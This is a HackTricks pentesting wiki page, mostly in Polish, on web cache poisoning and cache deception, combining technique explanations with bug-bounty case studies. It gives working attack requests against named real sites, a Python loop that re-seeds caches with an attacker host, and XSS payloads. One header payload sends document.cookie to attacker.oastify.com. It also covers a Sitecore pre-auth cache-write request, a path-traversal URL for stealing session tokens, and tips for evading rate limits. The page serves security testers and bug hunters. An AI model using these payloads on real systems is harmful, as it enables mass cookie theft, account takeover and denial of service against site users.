Cache Poisoning and Cache Deception

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Różnica

Jaka jest różnica między web cache poisoning a web cache deception?

  • In web cache poisoning, atakujący powoduje, że aplikacja zapisuje złośliwą zawartość w cache, a ta zawartość jest serwowana z cache innym użytkownikom aplikacji.
  • In web cache deception, atakujący powoduje, że aplikacja zapisuje w cache wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący odczytuje tę zawartość z cache.

Cache Poisoning

Cache poisoning ma na celu manipulację client-side cache, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub znajdują się pod kontrolą atakującego. Zakres wpływu zależy od popularności zaatakowanej strony, ponieważ skażona odpowiedź jest serwowana tylko użytkownikom odwiedzającym stronę w czasie trwania zanieczyszczenia cache.

Wykonanie ataku cache poisoning obejmuje kilka kroków:

  1. Identification of Unkeyed Inputs: Są to parametry, które choć nie są potrzebne, aby żądanie zostało zapisane w cache, mogą zmieniać odpowiedź zwracaną przez serwer. Zidentyfikowanie tych wejść jest kluczowe, ponieważ można je wykorzystać do manipulacji cache.
  2. Exploitation of the Unkeyed Inputs: Po zidentyfikowaniu unkeyed inputs kolejnym krokiem jest ustalenie, jak nadużyć tych parametrów, aby zmodyfikować odpowiedź serwera w sposób korzystny dla atakującego.
  3. Ensuring the Poisoned Response is Cached: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź zostanie zapisana w cache. W ten sposób każdy użytkownik uzyskujący dostęp do dotkniętej strony podczas skażenia cache otrzyma skażoną odpowiedź.

Odkrywanie: Sprawdź nagłówki HTTP

Zazwyczaj, gdy odpowiedź została stored in the cache, pojawi się nagłówek to wskazujący — możesz sprawdzić, na które nagłówki zwracać uwagę w tym wpisie: HTTP Cache headers.

Odkrywanie: Buforowanie kodów błędów

Jeśli podejrzewasz, że odpowiedź jest zapisywana w cache, możesz spróbować wysłać żądania z błędnym nagłówkiem, które powinny zostać obsłużone statusem 400. Następnie spróbuj uzyskać dostęp do żądania normalnie i jeśli odpowiedź ma status 400, wiesz, że jest podatne (i możesz nawet wykonać DoS).

Możesz znaleźć więcej opcji w:

Cache Poisoning to DoS

Jednakże pamiętaj, że czasami tego typu kody statusu nie są cache’owane, więc ten test może być zawodny.

Odkrywanie: Identify and evaluate unkeyed inputs

Możesz użyć Param Miner do brute-force parametrów i nagłówków, które mogą zmieniać odpowiedź strony. Na przykład strona może używać nagłówka X-Forwarded-For, aby wskazać klientowi, skąd ma załadować skrypt:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Wywołaj szkodliwą odpowiedź od serwera back-end

Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest sanitizowany i gdzie jest odbijany lub wpływa na odpowiedź pochodzącą z nagłówka. Czy da się to w jakiś sposób wykorzystać (wykonać XSS lub załadować kontrolowany przez ciebie kod JS? wykonać DoS?…)

Spraw, aby odpowiedź została zapisana w cache

Po zidentyfikowaniu strony, którą można wykorzystać, odpowiedniego parametru/nagłówka oraz sposobu nadużycia, musisz spowodować zapisanie strony w cache. W zależności od zasobu, który próbujesz umieścić w cache, może to potrwać — może być konieczne wielokrotne próbowanie przez kilka sekund.

Nagłówek X-Cache w odpowiedzi może być bardzo użyteczny, ponieważ może mieć wartość miss gdy żądanie nie było zapisane w cache i wartość hit gdy jest zapisane.
Nagłówek Cache-Control jest również istotny, by wiedzieć, czy zasób jest cache’owany i kiedy nastąpi ponowne cache’owanie: Cache-Control: public, max-age=1800

Inny istotny nagłówek to Vary. Ten nagłówek jest często używany do wskazywania dodatkowych nagłówków, które są traktowane jako część klucza cache nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli atakujący zna User-Agent ofiary, którą chce zaatakować, może poison the cache dla użytkowników korzystających z tego konkretnego User-Agent.

Jeszcze jeden nagłówek związany z cache to Age. Określa on czas w sekundach, przez jaki obiekt przebywał w cache proxy.

Podczas cachowania żądania bądź ostrożny z nagłówkami, których używasz, ponieważ niektóre z nich mogą być użyte nieoczekiwanie jako keyed i ofiara będzie musiała używać tego samego nagłówka. Zawsze testuj Cache Poisoning w różnych przeglądarkach, aby sprawdzić, czy działa.

Podstawowe studia przypadku cache poisoning

HackerOne: globalne przekierowanie przez X-Forwarded-Host

  • Origin generował szablonowe przekierowania i kanoniczne URL-e z X-Forwarded-Host, ale klucz cache używał tylko nagłówka Host, więc jedna odpowiedź zatruła wszystkich odwiedzających /.
  • Zatruj przy pomocy:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
  • Natychmiast ponownie zażądaj / bez spoofed header; jeśli redirect persists, masz globalny host-spoofing primitive, który często upgrades reflected redirects/Open Graph links into stored issues.

GitHub repozytorium DoS przez Content-Type + PURGE

  • Ruch anonimowy był kluczowany tylko na podstawie ścieżki, podczas gdy backend wchodził w stan błędu po zobaczeniu nieoczekiwanego Content-Type. Ta odpowiedź z błędem była cache’owalna dla każdego nieautoryzowanego użytkownika repozytorium.
  • GitHub również (przypadkowo) respektował metodę PURGE, pozwalając atakującemu wyczyścić zdrowy wpis i wymusić na cache pobranie zatrutej wersji na żądanie:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
  • Zawsze porównuj authenticated vs anonymous cache keys, fuzz rarely keyed headers takie jak Content-Type, oraz probe exposed cache-maintenance verbs, aby zautomatyzować re-poisoning.

Shopify cross-host persistence loops

  • Multi-layer caches czasami wymagają kilku identycznych hitów, zanim zatwierdzą nowy obiekt. Shopify ponownie wykorzystywał ten sam cache w wielu zlokalizowanych hostach, więc persistence oznaczało wpływ na wiele properties.
  • Użyj krótkich pętli automatyzacji, aby wielokrotnie reseedować:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
  • Po otrzymaniu odpowiedzi hit, przeskanuj inne hosty/zasoby, które należą do tej samej przestrzeni nazw cache, aby zademonstrować zasięg oddziaływania między domenami.

Przekierowanie zasobu JS → łańcuch stored XSS

  • Prywatne programy często hostują współdzielone JS, takie jak /assets/main.js, na dziesiątkach subdomen. Jeśli X-Forwarded-Host wpływa na logikę przekierowań dla tych zasobów, ale nie jest uwzględniany w kluczu cache (unkeyed), zbuforowana odpowiedź staje się przekierowaniem 301 do JS atakującego, powodując stored XSS wszędzie tam, gdzie zasób jest importowany.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
  • Zmapuj, które hosty ponownie używają tej samej asset path, aby móc udowodnić multi-subdomain compromise.

GitLab statyczny DoS przez X-HTTP-Method-Override

  • GitLab serwował statyczne bundle z Google Cloud Storage, który honoruje X-HTTP-Method-Override. Zamiana GET na HEAD zwróciła cacheowalny 200 OK z Content-Length: 0, a edge cache ignorował metodę HTTP przy generowaniu klucza.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
  • Jedno żądanie zastępowało pakiet JS pustym ciałem dla każdego GET, skutecznie DoSingując UI. Zawsze testuj method overrides (X-HTTP-Method-Override, X-Method-Override, itd.) względem statycznych zasobów i potwierdź, czy cache różni się w zależności od metody.

HackerOne pętla statycznego zasobu przez X-Forwarded-Scheme

  • Rails’ Rack middleware ufało nagłówkowi X-Forwarded-Scheme przy podejmowaniu decyzji o wymuszeniu HTTPS. Podszycie się jako http wobec /static/logo.png spowodowało wygenerowanie 301 możliwego do zcache’owania, więc wszyscy użytkownicy później otrzymywali przekierowania (lub pętle) zamiast zasobu:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
  • Kombinuj scheme spoofing z host spoofing, gdy to możliwe, aby tworzyć irreversible redirects dla wysoko widocznych zasobów.

Cloudflare host-header — niezgodność wielkości liter

  • Cloudflare znormalizował nagłówek Host przy tworzeniu cache keys, ale przekazywał surowe rozróżnienie wielkości liter do origins. Wysłanie Host: TaRgEt.CoM wywołało alternatywne zachowanie w origin routing/templating, jednocześnie zasilając kanoniczny, małymi literami cache bucket.
GET / HTTP/1.1
Host: TaRgEt.CoM
  • Enumeruj tenantów CDN, odtwarzając nazwy hostów z mieszanym użyciem wielkości liter (i inne znormalizowane headers) i porównaj (diff) zbuforowaną odpowiedź z odpowiedzią origin, aby odkryć shared-platform cache poisonings.

Red Hat Open Graph meta poisoning

  • Wstrzyknięcie X-Forwarded-Host wewnątrz tagów Open Graph zamieniło reflected HTML injection w stored XSS, gdy CDN zbuforował stronę. Użyj nieszkodliwego cache bustera podczas testów, aby nie zaszkodzić użytkownikom produkcyjnym:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
  • Scrapery mediów społecznościowych pobierają zbuforowane tagi Open Graph, więc pojedynczy zatruty wpis rozprowadza payload znacznie poza bezpośrednich odwiedzających.

Przykłady wykorzystania

Najprostszy przykład

Nagłówek taki jak X-Forwarded-For jest odzwierciedlany w odpowiedzi w formie niesanitizowanej.
Możesz wysłać podstawowy XSS payload i zatruć cache tak, że każdy, kto odwiedzi stronę, zostanie XSSed:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Uwaga: to spowoduje poison żądania do /en?region=uk, a nie do /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

W this writeup wyjaśniono następujący prosty scenariusz:

  • CDN będzie cache’ować wszystko w /share/
  • CDN NIE zdekoduje ani nie znormalizuje %2F..%2F, dlatego może to być użyte jako path traversal to access other sensitive locations that will be cached jak https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Serwer webowy ZDEKODUJE i znormalizuje %2F..%2F, i odpowie /api/auth/session, który contains the auth token.

Cookies mogą również być odzwierciedlane w odpowiedzi strony. Jeśli możesz to nadużyć, aby spowodować XSS, na przykład, możesz wykorzystać XSS w kilku klientach, które ładują złośliwą odpowiedź z cache.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Zauważ, że jeśli podatny cookie jest często używany przez użytkowników, zwykłe żądania będą czyścić cache.

Generowanie rozbieżności za pomocą separatorów, normalizacji i kropek

Sprawdź:

Cache Poisoning via URL discrepancies

Cache poisoning przy użyciu path traversal, aby ukraść API key

This writeup explains jak było możliwe wykradzenie OpenAI API key przy użyciu URL takiego jak https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123, ponieważ wszystko pasujące do /share/* będzie cachowane bez Cloudflare normalising the URL, co było wykonywane, gdy żądanie dotarło do serwera.

To też jest wyjaśnione szerzej w:

Cache Poisoning via URL discrepancies

Korzystanie z wielu nagłówków, aby wykorzystać web cache poisoning vulnerabilities

Czasami trzeba exploit several unkeyed inputs, żeby móc nadużyć cache. Na przykład możesz znaleźć Open redirect jeśli ustawisz X-Forwarded-Host na domenę kontrolowaną przez ciebie i X-Forwarded-Scheme na http. If the server is forwarding all the HTTP requests to HTTPS i używa nagłówka X-Forwarded-Scheme jako nazwy domeny dla przekierowania. Możesz kontrolować, gdzie przekierowanie wskaże stronę.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Exploiting z ograniczonym Varyheader

Jeśli stwierdzisz, że nagłówek X-Host jest używany jako nazwa domeny do ładowania zasobu JS, ale nagłówek Vary w odpowiedzi wskazuje User-Agent. Wtedy musisz znaleźć sposób, aby exfiltrate the User-Agent of the victim i poison the cache, używając tego User-Agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Wyślij żądanie GET z request w URL i w body. Jeśli serwer WWW użyje wartości z body, ale serwer cache zapisze wartość z URL, każdy uzyskujący dostęp do tego URL faktycznie użyje parametru z body. Jak vuln znaleziony przez James Kettle na stronie Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Jest lab PortSwigger dotyczący tego: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Na przykład na serwerach Ruby można oddzielać parametry znakiem ; zamiast &. Można to wykorzystać do umieszczenia wartości parametrów bez klucza wewnątrz parametrów z kluczami i nadużyć tego.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Dowiedz się tutaj, jak przeprowadzać Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

The Web Cache Vulnerability Scanner can be used to automatically test for web cache poisoning. Obsługuje wiele różnych technik i jest wysoce konfigurowalny.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

This real-world pattern chains a header-based reflection primitive with CDN/WAF behavior to reliably poison the cached HTML served to other users:

  • Główny HTML odzwierciedlał nieufny nagłówek żądania (np. User-Agent) w kontekście wykonywalnym.
  • CDN usuwał nagłówki dotyczące cache, ale istniał wewnętrzny/origin cache. CDN również automatycznie cachował żądania kończące się statycznymi rozszerzeniami (np. .js), podczas gdy WAF stosował słabszą inspekcję treści dla GETs zasobów statycznych.
  • Dziwactwa przepływu żądań pozwalały żądaniu do ścieżki .js wpłynąć na cache key/variant używany dla kolejnego głównego HTML, umożliwiając cross-user XSS przez odzwierciedlanie nagłówka.

Praktyczny przepis (zaobserwowany w popularnym CDN/WAF):

  1. Z czystego IP (unikaj obniżenia reputacji z poprzednich żądań), ustaw złośliwy User-Agent przez przeglądarkę lub Burp Proxy Match & Replace.
  2. W Burp Repeater przygotuj grupę dwóch żądań i użyj “Send group in parallel” (single-packet mode działa najlepiej):
  • Pierwsze żądanie: GET do zasobu .js na tym samym originie, wysyłając złośliwy User-Agent.
  • Bezpośrednio po nim: GET główną stronę (/).
  1. Wyścig routingu CDN/WAF wraz z automatycznym cachowaniem .js często powoduje zaszczepienie zatrutego wariantu cachowanego HTML, który jest potem serwowany innym odwiedzającym spełniającym te same warunki cache key (np. te same wymiary Vary, takie jak User-Agent).

Przykładowy header payload (do exfiltracji ciasteczek non-HttpOnly):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Wskazówki operacyjne:

  • Wiele CDNs ukrywa nagłówki cache; poisoning może być widoczny dopiero w cyklach odświeżania trwających wiele godzin. Użyj wielu vantage IPs i throttle, aby uniknąć rate-limitów lub wyzwalaczy reputacji.
  • Użycie IP z własnej chmury CDN czasami poprawia spójność routingu.
  • Jeśli obecny jest ścisły CSP, to nadal działa, jeśli reflection wykonuje się w głównym kontekście HTML i CSP pozwala na inline execution lub jest obejściem w danym kontekście.

Wpływ:

  • Jeśli session cookies aren’t HttpOnly, zero-click ATO jest możliwy poprzez mass-exfiltrating document.cookie od wszystkich użytkowników, którym serwowany jest poisoned HTML.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.

Szczegóły (cache key construction, ItemService enumeration oraz chained post‑auth deserialization RCE):

Sitecore

Przykłady podatności

Apache Traffic Server (CVE-2021-27577)

ATS przekazywał fragment znajdujący się w URL bez jego usunięcia i generował cache key używając tylko hosta, ścieżki i query (ignorując fragment). Zatem żądanie /#/../?r=javascript:alert(1) było wysyłane do backendu jako /#/../?r=javascript:alert(1) a cache key nie zawierał payloadu — tylko host, path i query.

403 i Storage Buckets

Cloudflare wcześniej cache’ował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami Authorization skutkowała odpowiedzią 403, która była cache’owana. Chociaż Cloudflare zaprzestał cache’owania odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy.

Wstrzykiwanie parametrów uwzględnianych w cache key

Cache często uwzględniają konkretne parametry GET w cache key. Na przykład Varnish od Fastly cache’ował parametr size w żądaniach. Jednak jeśli wersja parametru w URL-encoded (np. siz%65) była również wysyłana z błędną wartością, cache key był konstruowany używając poprawnego parametru size. Niemniej backend przetwarzał wartość z URL-encoded parametru. URL-encoding drugiego parametru size powodował jego pominięcie przez cache, ale jego użycie przez backend. Przypisanie wartości 0 temu parametrowi skutkowało cache’owalnym błędem 400 Bad Request.

User Agent Rules

Niektórzy deweloperzy blokują żądania z user-agentami pasującymi do narzędzi generujących duży ruch, takich jak FFUF czy Nuclei, aby ograniczyć obciążenie serwera. Paradoksalnie, takie podejście może wprowadzić luki, np. cache poisoning i DoS.

Illegal Header Fields

RFC7230 określa dopuszczalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza zdefiniowanego zakresu tchar powinny w idealnym przypadku powodować 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Przykładowo Akamai przekazywał nagłówki z nieprawidłowymi znakami i cache’ował każdy błąd 400, o ile nagłówek cache-control nie był obecny. Zidentyfikowano podatny wzorzec, w którym wysłanie nagłówka z nielegalnym znakiem, takim jak \, skutkowało cache’owalnym błędem 400 Bad Request.

Znajdowanie nowych nagłówków

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.

Przede wszystkim zwróć uwagę, że extensions takie jak .css, .js, .png itd. są zwykle konfigurowane, aby być zapisywane w cache. Dlatego jeśli uzyskasz dostęp do www.example.com/profile.php/nonexistent.js, cache prawdopodobnie zapisze odpowiedź, ponieważ rozpoznaje rozszerzenie .js. Ale jeśli aplikacja odpowiada z wrażliwymi danymi użytkownika przechowywanymi w www.example.com/profile.php, możesz ukraść te dane od innych użytkowników.

Inne rzeczy do przetestowania:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Kolejny bardzo jasny przykład można znaleźć w tym write-upie: https://hackerone.com/reports/593712.
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę jak http://www.example.com/home.php/non-existent.css, zawartość http://www.example.com/home.php (z wrażliwymi informacjami użytkownika) zostanie zwrócona, a serwer cache zapisze wynik.
Następnie attacker może odwiedzić http://www.example.com/home.php/non-existent.css w swojej przeglądarce i zobaczyć poufne informacje użytkowników, którzy wcześniej odwiedzili stronę.

Zauważ, że cache proxy musi być skonfigurowany, aby cache’ować pliki na podstawie rozszerzenia pliku (.css) a nie na podstawie content-type. W przykładzie http://www.example.com/home.php/non-existent.css będzie miał content-type text/html zamiast text/css.

Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)

Ten wzorzec łączy Client-Side Path Traversal (CSPT) w Single-Page App (SPA) z cache’owaniem na podstawie rozszerzeń przez CDN, aby publicznie zcache’ować wrażliwe JSON, które pierwotnie były dostępne tylko przez uwierzytelnione wywołanie API.

Ogólna idea:

  • Wrażliwy endpoint API wymaga niestandardowego nagłówka autoryzacji i jest poprawnie oznaczony jako nie-cache’owalny przez origin.
  • Dodanie statycznie wyglądającego sufiksu (np. .css) powoduje, że CDN traktuje ścieżkę jako zasób statyczny i cache’uje odpowiedź, często bez uwzględniania wahań wrażliwych nagłówków.
  • SPA zawiera CSPT: konkatenację kontrolowanego przez użytkownika segmentu ścieżki do URL API przy jednoczesnym dołączeniu nagłówka autoryzacji ofiary (np. X-Auth-Token). Poprzez wstrzyknięcie ../.. traversal, uwierzytelnione fetch jest przekierowywane do wariantu ścieżki z rozszerzeniem (…/v1/token.css), co powoduje, że CDN zapisuje JSON tokenu ofiary pod publicznym cache key.
  • Każdy może potem wykonać GET tego samego cache key bez uwierzytelniania i pobrać token ofiary.

Example

  • Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • Sufiks wyglądający na statyczny sprawia, że CDN traktuje odpowiedź jako cacheable:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • CSPT w SPA dołącza auth header i umożliwia traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
  • Łańcuch ataku:
  1. Zwab ofiarę na URL, który wstrzykuje dot-segments do parametru ścieżki SPA, np.:
  1. SPA wykonuje uwierzytelnione fetch do:
  1. Normalizacja przez przeglądarkę rozwiązuje to do:
  1. CDN traktuje .css jako zasób statyczny i cache’uje JSON z Cache-Control: public, max-age=…
  2. Dostęp publiczny: każdy może potem wykonać GET https://api.example.com/v1/token.css i uzyskać zbuforowany JSON z tokenem.

Preconditions

  • SPA wykonuje uwierzytelnione fetch/XHR do tego samego origin API (lub cross-origin z działającym CORS) i dołącza wrażliwe nagłówki lub bearer tokens.
  • Edge/CDN stosuje cache’owanie oparte na rozszerzeniach dla ścieżek wyglądających na statyczne (np. *.css, *.js, images) i nie uwzględnia w kluczu cache wrażliwego nagłówka.
  • Origin dla bazowego endpointu jest nie-cache’owalny (właściwe), ale wariant z dodanym rozszerzeniem jest dozwolony lub nie jest blokowany przez reguły edge.

Validation checklist

  • Zidentyfikuj wrażliwe, dynamiczne endpointy i spróbuj sufiksów takich jak .css, .js, .jpg, .json. Szukaj Cache-Control: public/max-age i X-Cache: Hit (lub równoważnych, np. CF-Cache-Status) przy jednoczesnym zachowaniu treści w formacie JSON.
  • Znajdź kod klienta, który konkatenatuje dane kontrolowane przez użytkownika do ścieżek API, jednocześnie dołączając auth headers. Wstrzyknij sekwencje ../, aby przekierować uwierzytelnione żądanie na docelowy endpoint.
  • Potwierdź, że uwierzytelniony nagłówek jest obecny w przetargetowanym żądaniu (np. w proxy lub w logach serwera) oraz że CDN cache’uje odpowiedź pod przebywaną ścieżką.
  • Z nowego kontekstu (bez auth) wykonaj żądanie tej samej ścieżki i potwierdź, że tajny JSON jest serwowany z cache.

Automatic Tools

  • toxicache: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
  • CacheDecepHound: Python scanner designed to detect Cache Deception vulnerabilities in web servers.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks